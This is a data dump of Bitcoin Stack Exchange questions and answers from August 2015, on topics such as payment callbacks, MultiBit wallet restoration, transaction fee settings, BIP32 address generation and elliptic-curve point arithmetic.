  <row Id="38941" PostTypeId="1" AcceptedAnswerId="38942" CreationDate="2015-08-03T09:36:28.397" Score="1" ViewCount="131" Body="&lt;p&gt;I'm receiving BitCoin payments via the blockchain.info api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice it sends a confirmations parameter, and it also continues to call the callback url until the response is &lt;code&gt;*ok*&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of manually checking every x minutes via a third-party site to see whether or not txid has x confirmations, would it be possible to just not output &lt;code&gt;*ok*&lt;/code&gt; until there is x confirmations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure whether or not the blockchain stops sending the callback, and was wondering if this is possible or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="27754" LastActivityDate="2015-08-03T10:41:14.007" Title="Retrieving BitCoin Payments, Confirmation Question" Tags="|api|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38942" PostTypeId="2" ParentId="38941" CreationDate="2015-08-03T10:41:14.007" Score="0" Body="&lt;p&gt;Yes, you can do that. Yes, it will eventually stop sending callbacks.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Expected Response&lt;/p&gt;&#xA;&lt;p&gt;In order to acknowledge successful processing of the callback the server should respond with the text &lt;code&gt;*ok*&lt;/code&gt;. If the server responds with anything else the callback will be resent again every new block (approximately every 10 minutes) up to 1000 times (1 week).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-03T10:41:14.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38943" PostTypeId="1" CreationDate="2015-08-03T10:56:16.497" Score="1" ViewCount="53" Body="&lt;p&gt;Can a smart contract be created which can be exchanged once at point of sale, and only transferred subsequently through a single approved exchange? Can that be written into the contract itself?&lt;/p&gt;&#xA;" OwnerUserId="27755" LastEditorUserId="5406" LastEditDate="2015-08-03T14:22:35.503" LastActivityDate="2015-08-03T14:22:35.503" Title="Restricting transferability of Smart Contracts" Tags="|smartcontracts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38944" PostTypeId="2" ParentId="38943" CreationDate="2015-08-03T11:26:59.680" Score="2" Body="&lt;p&gt;Bitcoin script only allows the conditions under which an output can be spent to be controlled, it does not provide a method for dictating what can happen to the output once these conditions have been satisfied. The concept you are describing is called a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=278122.0;all&quot; rel=&quot;nofollow&quot;&gt;coin covenant&lt;/a&gt;, the linked thread goes into some detail explaining why this is generally a bad idea. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-03T11:26:59.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38945" PostTypeId="1" CreationDate="2015-08-03T14:40:07.570" Score="1" ViewCount="246" Body="&lt;p&gt;Is there a place where I can bet on the price of Brent crude oil? For example, I bet 1 BTC and:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;if the oil price increases by 1%, I will lose the bet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if the oil price decreases by 1%, I will double my bet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am Russian and need a kind of insurance against the rouble falling. This bet will be a much cheaper solution than changing a lot of money into dollars or bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="24489" LastEditorUserId="37414" LastEditDate="2018-05-09T16:15:27.130" LastActivityDate="2018-05-09T16:15:27.130" Title="Bitcoin bet on price of Brent crude" Tags="|trading|contracts|smartcontracts|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="38946" PostTypeId="2" ParentId="38378" CreationDate="2015-08-03T16:20:44.603" Score="1" Body="&lt;p&gt;generic big endian MPI format&#xA;bitcoin-specific little endian format, with implicit size&lt;/p&gt;&#xA;&#xA;&lt;p&gt;python implementation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/blob/master/bitcoin/core/_bignum.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/petertodd/python-bitcoinlib/blob/master/bitcoin/core/_bignum.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15358" LastActivityDate="2015-08-03T16:20:44.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38947" PostTypeId="1" AcceptedAnswerId="42736" CreationDate="2015-08-03T18:53:49.197" Score="11" ViewCount="3701" Body="&lt;p&gt;I'm trying to get the balance of a specific address in a wallet by using &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj&quot; rel=&quot;noreferrer&quot;&gt;bitcoinj&lt;/a&gt;, but I don't know how. Can someone help me? Thanks in advance!!&lt;/p&gt;&#xA;" OwnerUserId="27532" LastEditorUserId="27532" LastEditDate="2016-02-04T01:41:32.783" LastActivityDate="2018-07-24T09:01:25.897" Title="How to get balance from a specific address in bitcoinj?" Tags="|address|bitcoinj|balance|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38948" PostTypeId="1" AcceptedAnswerId="38966" CreationDate="2015-08-03T20:10:01.047" Score="4" ViewCount="4658" Body="&lt;p&gt;If I have a backup file like &lt;code&gt;mbhd-*.zip.aes&lt;/code&gt; how do I restore it using only my password? When I click on Restore Wallet, it only asks for the wallet words, not the file path or password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pmh8u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pmh8u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6M7KW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6M7KW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3267" LastActivityDate="2017-12-19T02:56:40.287" Title="How do I restore a wallet from a backup file in MultiBit HD?" Tags="|wallet|multibit|wallet-recovery|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38949" PostTypeId="1" AcceptedAnswerId="38951" CreationDate="2015-08-03T20:23:47.937" Score="1" ViewCount="951" Body="&lt;p&gt;How is it possible to recover a wallet password when the wallet words are provided before you even enter the password? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/hd0.1/restore-password.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/hd0.1/restore-password.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Restore password&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;If you forget your wallet password, then you can restore your password from your wallet words.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3267" LastActivityDate="2015-08-03T22:20:33.753" Title="How can you restore a password in MultiBit if you are given the wallet words BEFORE you even enter a password?" Tags="|wallet|multibit|passphrase|wallet-security|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38951" PostTypeId="2" ParentId="38949" CreationDate="2015-08-03T22:20:33.753" Score="2" Body="&lt;p&gt;There is a copy of the password stored encrypted with an AES key derived from the wallet words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus if you forget your password and still have a copy of your wallet you can use your wallet words to recover your password.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-08-03T22:20:33.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38956" PostTypeId="1" CreationDate="2015-08-04T09:43:03.817" Score="0" ViewCount="44" Body="&lt;p&gt;I want to begin to mine on a computer, I know that it is not efficient but I want to do some experiments and tests for a project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried all programs in the list &lt;a href=&quot;https://www.bitcoinmining.com/bitcoin-mining-software/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinmining.com/bitcoin-mining-software/&lt;/a&gt; but none wanted to start to mine &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend me a software that can mine from a dektop?&lt;/p&gt;&#xA;" OwnerUserId="27767" LastEditorUserId="5406" LastEditDate="2016-04-04T12:01:42.740" LastActivityDate="2016-04-04T12:01:42.740" Title="How can I start to mine?" Tags="|client|miner-configuration|mining-software|" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-04T15:16:24.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="38957" PostTypeId="1" AcceptedAnswerId="38958" CreationDate="2015-08-04T12:23:33.583" Score="3" ViewCount="2939" Body="&lt;p&gt;In wallet options section it shows these two &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;settings&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-paytxfee=&amp;lt;amt&amp;gt;  Fee (in BTC/kB) to add to transactions you send (default: 0.00)  &#xA;-maxtxfee=&amp;lt;amt&amp;gt;  Maximum total fees to use in a single wallet transaction, setting too low may abort large transactions (default: 0.10)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I set these two settings in the bitcoin.conf which one will override the other ? or how does in work ?&lt;/p&gt;&#xA;" OwnerUserId="13327" LastActivityDate="2015-08-04T12:37:45.877" Title="paytxfee vs maxtxfee which one overrides the other" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38958" PostTypeId="2" ParentId="38957" CreationDate="2015-08-04T12:37:45.877" Score="2" Body="&lt;p&gt;One is per kilobyte, the other is a limit on the total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second will prevent a transaction from happening if it, following the first, has a too large fee.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-08-04T12:37:45.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38959" PostTypeId="1" CreationDate="2015-08-04T15:39:11.200" Score="1" ViewCount="662" Body="&lt;p&gt;Lets have a scenario where POS software wants to support bitcoin payments with zero risk. Ideal is to store Merchant's Bitcoin address in POS settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intention here is to uniquelly bind receipt in local POS Database with transaction hash on Blockchain, in order to know whether the receipt was already paid or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the scenario where Merchant generates QR Payment request with BTC price and recipient address. Some applications also pass a message but that is stored in internal memory and does not go to Blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have came up with two possible algorithms.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Reserve last several satoshis for temporary ID. e.g. 0.000000&lt;strong&gt;65&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As most of direct (F2F) payments takes less then 2 minutes. It would be possible to generate shorterm ID and then check the Merchant's address for latest transaction, once the temp ID was found POS would mark the receipt as paid and remember the tx hash. This would prevent &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Possibility to handle the case where the payment comes from multiple inputs by adding together the inputs for merchant address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;1 BTC would have to be atleast $100000 in order to break this.&lt;/li&gt;&#xA;&lt;li&gt;Tipping would break this.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;HD wallet Generating from Bitcoin address&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generate new address for each Receipt paid in bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;I don't think this could be technically possible, as it is neccessary to derivate child key from master private key. &lt;/li&gt;&#xA;&lt;li&gt;How to achieve this with knowing only the Bitcoin address of merchant?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Encode some message in ScriptPubKey OPRETURN &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;customer side (depends on wallet they run).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there any other - better possibility that is still unknown for me?&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="5406" LastEditDate="2017-01-26T20:37:02.283" LastActivityDate="2017-01-26T20:37:02.283" Title="POS Receipt payment identification" Tags="|transactions|blockchain|payment|point-of-sale|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38960" PostTypeId="2" ParentId="38959" CreationDate="2015-08-04T16:32:14.670" Score="2" Body="&lt;p&gt;You should use a new address for each transaction, likely generated from an BIP32 extended public key (your #2).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I don't think this could be technically possible, as it is neccessary to derivate child key from master private key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Extended public keys can be derived from a parent public key if the Chain Code (256 bits) for that parent extended public key is known. Merchants should give you an extended public key and chain code, and then you can generate a new address for them each time. Note that your system wouldn't have any risk of exposing private keys, as you would only be using BIP32 extended public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For technical information on BIP32, visit &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-08-04T16:32:14.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38962" PostTypeId="1" AcceptedAnswerId="38965" CreationDate="2015-08-04T18:31:54.373" Score="1" ViewCount="113" Body="&lt;p&gt;Where can one find statistics on how many nodes are running older Bitcoin Core versions or alternative clients?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="5406" LastEditDate="2015-08-11T17:17:56.687" LastActivityDate="2015-08-11T17:17:56.687" Title="How can one figure out what version of Bitcoin-Core is used most?" Tags="|bitcoin-core|client|network|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38963" PostTypeId="1" CreationDate="2015-08-04T19:01:42.397" Score="1" ViewCount="651" Body="&lt;p&gt;I am running bitcoinqt on my server. Each second, I use a .NET API to query the daemon to find new transactions which contain needed addresses. (The addresses are not from the local wallet.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first I do &lt;code&gt;GetRawMemPool()&lt;/code&gt; to get list of all new transaction Ids, and then for each id I do &lt;code&gt;GetRawTransaction(transactionID)&lt;/code&gt; and &lt;code&gt;DecodeRawTransaction()&lt;/code&gt; to get transaction details to find out if it contains needed addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that this process, querying the daemon for each transaction in the mempool, sometimes takes a lot of time, up to 1 min, since the mempool sometimes has 10-12k transactions in the pool. I think the most CPU intensive is the &lt;code&gt;DecodeRawTransaction()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this method of confirming a payment is taking far too long, and is currently not acceptable for my application. I need at most 10-20 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there another way to get this information faster?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I can't use third party api like blockchain)&lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="18196" LastEditDate="2015-08-04T20:40:55.870" LastActivityDate="2015-08-21T23:00:36.380" Title="Quick way to find transaction" Tags="|bitcoind|raw-transaction|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38964" PostTypeId="2" ParentId="9127" CreationDate="2015-08-04T19:55:04.633" Score="7" Body="&lt;p&gt;This is an old question but just to say that the dumpwallet command has been added to bitcoin core. This will give you all the private keys in a text format.&lt;/p&gt;&#xA;" OwnerUserId="27773" LastActivityDate="2015-08-04T19:55:04.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38965" PostTypeId="2" ParentId="38962" CreationDate="2015-08-04T23:29:55.460" Score="1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/&quot; rel=&quot;nofollow&quot;&gt;https://getaddr.bitnodes.io/nodes/&lt;/a&gt;, click on the &quot;User Agents&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At time of writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1   /Satoshi:0.11.0/    2119 (35.22%)&#xA;2   /Satoshi:0.10.2/    1416 (23.53%)&#xA;3   /Satoshi:0.10.0/    437 (7.26%)&#xA;4   /Satoshi:0.10.1/    418 (6.95%)&#xA;5   /Satoshi:0.9.3/     352 (5.85%)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(You can also click on &quot;more.&quot;)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-04T23:29:55.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38966" PostTypeId="2" ParentId="38948" CreationDate="2015-08-05T00:25:00.327" Score="2" Body="&lt;p&gt;You can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security of a MultiBit wallet is broken into four parts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A wallet encrypted by the password but not the wallet words&lt;/li&gt;&#xA;&lt;li&gt;A wallet backup, kept in the cloud, encrypted by the wallet words.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Wallet words,&quot; kept on a piece of paper&lt;/li&gt;&#xA;&lt;li&gt;A password, kept in your head.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You have 2 and 4, but not 1 or 3. My understanding is that that's not enough to restore your wallet. If you had your wallet words, or access to the computer that created this wallet, it would be different.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-06-14T21:16:57.327" LastActivityDate="2017-06-14T21:16:57.327" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38967" PostTypeId="1" CreationDate="2015-08-05T02:22:15.083" Score="1" ViewCount="17" Body="&lt;p&gt;As I understand it mining provides the security for the blockchain in that it makes it hard to forge a transaction. The incentive for finding eligible hashes is a reward in the form of Bitcoin. As more blocks emerge, the cost of mining increases. But the number of bitcoins is limited to 21M.&#xA;Won't that mean that at some point in the future, either all bitcoins will be gone, or mining will not be cost effective anymore?&#xA;And in both cases, why would anyone still mine? Then wouldn't the hash rate drop considerably and thus the security?&lt;/p&gt;&#xA;" OwnerUserId="27778" LastEditorUserId="5406" LastEditDate="2016-04-02T09:58:25.403" LastActivityDate="2016-04-02T09:58:25.403" Title="Mining incentive and bitcoin limit" Tags="|security|mining-reward|reward-schedule|" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-05T02:26:07.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="38968" PostTypeId="2" ParentId="11822" CreationDate="2015-08-05T04:55:06.187" Score="0" Body="&lt;p&gt;&quot;The community of users determine a digital currency's value.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin made easy for the average Joe to mine. This combined with the second mover advantage has became a really powerful initial hype.&lt;br&gt;&#xA;As Bitcoin mining stopped being profitable over time, a market need emerged for mining, since the hardware and knowledge was still there. Litecoin perfectly filled this gap.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I think mining is a need, not a goal, consumers does not benefit from it.&lt;/p&gt;&#xA;" OwnerUserId="26859" LastActivityDate="2015-08-05T04:55:06.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38971" PostTypeId="1" CreationDate="2015-08-05T10:48:17.260" Score="1" ViewCount="1291" Body="&lt;p&gt;On the Bitcoin Wiki's &lt;a href=&quot;https://en.bitcoin.it/w/index.php?title=OP_CHECKSIG&amp;amp;oldid=57808&quot; rel=&quot;nofollow&quot;&gt;OP_CHECKSIG documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Firstly always this (the default) procedure is applied:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;the public key and the signature are popped from the stack, in that order. &lt;strong&gt;If the hash-type value is 0, then it is replaced by the last_byte of the signature. Then the last byte of the signature is always deleted.&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The signature format is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x30 [total-length] 0x02 [R-length] [R] 0x02 [S-length] [S] [sighash]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In case if hash type is 0 then we should  get last byte from [S] &#xA;and remove it &lt;strong&gt;I think it will corrupt signature&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I don't correctly understand this documentation. Could anybody explain the correct behavior in this case?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="23340" LastEditDate="2015-09-17T07:09:59.673" LastActivityDate="2015-10-17T07:14:01.213" Title="OP_CHECKSIG signature hash type 0" Tags="|script|signature|transaction-verification|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="38972" PostTypeId="2" ParentId="38963" CreationDate="2015-08-05T12:59:25.273" Score="1" Body="&lt;p&gt;If you can self-compile bitcoind/Bitcoin-Qt (or find someone who can compile it for you) you could use REST:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6013&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/6013&lt;/a&gt; (adds mempool information to the REST API)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or maybe have a look at the RPC call &lt;code&gt;getrawmempool true&lt;/code&gt; (mind the true for verbose information).&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-05T12:59:25.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38973" PostTypeId="1" CreationDate="2015-08-05T15:52:48.467" Score="6" ViewCount="158334" Body="&lt;p&gt;My computer has &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   AMD A4-5300 APU W/ Radeon(tm)HD  subscore 6.2&#xA;   Graphics AMD Radeon HD 7480D              4.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If any one can help , thank you!&lt;/p&gt;&#xA;" OwnerUserId="27786" LastEditorUserId="5406" LastEditDate="2016-03-05T15:10:32.907" LastActivityDate="2016-03-05T15:10:32.907" Title="how do I figure out the hash rate of my computer?" Tags="|hashpower|mining-hardware|" AnswerCount="1" CommentCount="2" ClosedDate="2015-08-07T19:39:53.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="38974" PostTypeId="2" ParentId="38973" CreationDate="2015-08-05T19:16:12.237" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitminter.com/test&quot; rel=&quot;nofollow&quot;&gt;Bitminter&lt;/a&gt; has a Java test that, among other things, can give you an idea of your hash rate.&lt;/p&gt;&#xA;" OwnerUserId="27787" LastActivityDate="2015-08-05T19:16:12.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38975" PostTypeId="1" AcceptedAnswerId="38976" CreationDate="2015-08-06T01:09:30.940" Score="4" ViewCount="1195" Body="&lt;p&gt;I have a script that uses Bitcoin's RPC interface and takes a lot of CPU to run, and I don't want Bitcoin to be verifying blocks while I do it. Is there a config setting or an RPC call I can use to stop it from syncing?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2022-07-18T15:05:44.557" LastActivityDate="2022-07-18T15:05:44.557" Title="How do I prevent Bitcoin from synchronizing?" Tags="|bitcoind|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38976" PostTypeId="2" ParentId="38975" CreationDate="2015-08-06T01:19:51.167" Score="9" Body="&lt;pre&gt;&lt;code&gt;bitcoin-cli invalidateblock `bitcoin-cli getbestblockhash`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -maxconnections=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-06T01:19:51.167" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38978" PostTypeId="1" CreationDate="2015-08-06T03:09:39.670" Score="1" ViewCount="271" Body="&lt;p&gt;&lt;strong&gt;python code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def inverse(x, p):&#xA;&#xA;    return pow(x,p-2,p)&#xA;&#xA;p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f&#xA;&#xA;#private key 2 --&amp;gt;(x , y) value&#xA;&#xA;xx =  0xc6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5L&#xA;yy =  0x1ae168fea63dc339a3c58419466ceaeef7f632653266d0e1236431a950cfe52aL&#xA;&#xA;#private key 4 --&amp;gt;(x , y) value&#xA;&#xA;x  =  0xe493dbf1c10d80f3581e4904930b1404cc6c13900ee0758474fa94abe8c4cd13L&#xA;y  =  0x51ed993ea0d455b75642e2098ea51448d967ae33bfbdfe40cfe97bdc47739922L&#xA;&#xA;a= (x*inverse(xx,p))%p&#xA;&#xA;print &quot;x = &quot; + hex(a)&#xA;&#xA;b= (y*inverse(yy,p))%p&#xA;&#xA;print &quot;y = &quot; + hex(b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = 0x1d8a71dd4218a520a1f976b6a4f66ed600880baf69d401a73dd010dd60f859ffL&#xA;y = 0x8f73b0d00f8d9e262cc230b7a6bee35d44ac898986195e819d68ecafd6b7803bL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;normal math 4/2 = 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but here private key 2 x,y value divided by private key 4 x,y value, not provide correct value of x,y &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin , math learning&lt;/p&gt;&#xA;" OwnerUserId="26602" LastActivityDate="2015-08-07T14:27:37.387" Title="x , y coordination division" Tags="|bitcoin-core|address|address-generation|secp256k1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38979" PostTypeId="2" ParentId="38978" CreationDate="2015-08-06T03:48:08.677" Score="2" Body="&lt;p&gt;There is no such thing as multiplication (or division) of two &lt;em&gt;points&lt;/em&gt; in the world of ECC math. This is because the points on an Elliptic Curve form a mathematical Group, rather than a Ring. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, you shouldn't expect the coordinates of 4*G and 2*G to be related by the method you described. The result of 2*G is not the same as multiplying each of G's coordinates by 2. You can verify, however, that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4*G - 2*G = 2*G&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The subtraction here is actually shorthand for a complex, but formulaic, procedure for two ECC points. Note that subtraction is simply addition of the additive inverse in the ECC group. This is very different than the multiplicative inverse in the modular field that your Python method defined. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-08-07T14:27:37.387" LastActivityDate="2015-08-07T14:27:37.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38980" PostTypeId="1" CreationDate="2015-08-06T04:41:29.037" Score="0" ViewCount="562" Body="&lt;p&gt;I want to transfer bitcoins from blockchain but I don't know how. I have a bither and I want to transfer it there. How to transfer bitcoins from blockchain.info to bither?&lt;/p&gt;&#xA;" OwnerUserId="27794" LastEditorUserId="24925" LastEditDate="2015-08-06T06:11:55.243" LastActivityDate="2017-12-22T19:03:07.467" Title="How to transfer bitcoins from blockchain.info?" Tags="|blockchain.info|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
